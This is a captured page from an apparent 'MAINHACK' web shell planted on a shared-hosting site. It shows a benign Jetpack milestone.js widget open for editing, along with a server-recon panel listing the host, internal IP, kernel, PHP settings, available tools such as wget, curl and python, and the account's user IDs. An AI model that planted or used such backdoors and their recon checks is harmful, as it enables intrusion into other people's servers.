[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: milestone.js
/* global MilestoneConfig */ var Milestone = ( function () { var Milestone = function ( args ) { var widget_content = document.getElementById( args.content_id ), id = args.id, refresh = args.refresh * 1000; this.timer = function () { var instance = this; var xhr = new XMLHttpRequest(); xhr.onload = function () { var response = JSON.parse( xhr.responseText ), httpCheck = xhr.status >= 200 && xhr.status < 300, responseCheck = 'undefined' !== typeof response.message && 'undefined' !== typeof response.refresh; if ( httpCheck && responseCheck ) { var countdownElement = widget_content.querySelector( '.milestone-countdown' ); countdownElement.outerHTML = response.message; refresh = response.refresh * 1000; if ( ! refresh ) { return; } setTimeout( function () { instance.timer(); }, refresh ); } }; xhr.open( 'GET', MilestoneConfig.api_root + 'jetpack/v4/widgets/' + id ); xhr.send(); }; if ( refresh > 0 ) { this.timer(); } }; return function ( args ) { return new Milestone( args ); }; } )(); ( function () { var i, MilestoneInstances = {}; if ( typeof MilestoneConfig === 'undefined' ) { return; } for ( i = 0; i < MilestoneConfig.instances.length; i++ ) { MilestoneInstances[ i ] = new Milestone( MilestoneConfig.instances[ i ] ); } } )();
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: webm010.cluster103.gra.hosting.ovh.net
Server IP: 10.103.20.10
PHP Version: 7.4.33
Server Software: Apache
System: Linux webm010.cluster103.gra.hosting.ovh.net 5.15.206-ovh-vps-grsec-zfs-classid #1 SMP Fri May 15 02:41:25 UTC 2026 x86_64
HDD Total: 14.32 GB
HDD Free: 8.45 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
Exists
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: cuisinesj
User ID (UID): 17129
Group ID (GID): 100
Script Owner UID: 17129
Current Dir Owner: 17129